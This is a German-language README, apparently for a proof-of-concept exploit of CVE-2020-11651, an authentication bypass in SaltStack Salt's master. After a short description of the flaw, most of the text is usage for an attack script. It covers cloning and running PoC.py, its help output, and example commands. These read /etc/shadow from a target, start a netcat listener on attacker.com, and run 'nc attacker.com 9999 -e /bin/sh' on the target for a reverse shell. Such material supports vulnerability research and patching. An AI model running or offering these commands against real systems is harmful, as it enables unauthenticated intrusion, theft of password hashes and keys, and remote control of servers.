
CVE-2020-11651: Proof of Concept
Ein Problem wurde in SaltStack Salt vor Version 2019.2.4 und 3000 vor 3000.2 entdeckt. Die ClearFuncs-Klasse des salt-master-Prozesses validiert Methodenaufrufe nicht ordnungsgemäß. Dadurch kann ein entfernter Benutzer ohne Authentifizierung auf einige Methoden zugreifen. Diese Methoden können verwendet werden, um Benutzer-Tokens vom Salt-Master abzurufen und/oder beliebige Befehle auf Salt-Minions auszuführen.
Patches für nicht unterstützte Salt-Versionen
git clone https://github.com/0xc0d/CVE-2020-11651.git ~/CVE-2020-11651
chmod +x ~/CVE-2020-11651/PoC.py
$ ~/CVE-2020-11651/PoC.py -h
usage: PoC.py [-h] --host HOST [--port PORT] [--execute COMMAND] [--upload src dest] [--download src dest] [--minions] [--quiet] [--fetch-key-only]
CVE-2020-11651 PoC
optional arguments:
-h, --help show this help message and exit
--host HOST, -t HOST
--port PORT, -p PORT
--execute COMMAND, -e COMMAND
Command to execute. Defaul: /bin/sh (use netcat for reverse shell)
--upload src dest, -u src dest
Upload a file
--download src dest, -d src dest
Download a file
--minions Send command to all minions on master
--quiet, -q Enable quiet/silent mode
--fetch-key-only Only fetch the key
./PoC.py --host target.com --download /etc/shadow ./shadow
nc -nvl attacker.com 9999
./PoC.py --host target.com --execute "nc attacker.com 9999 -e \"/bin/sh\""
./PoC.py --host target.com --fetch-key-only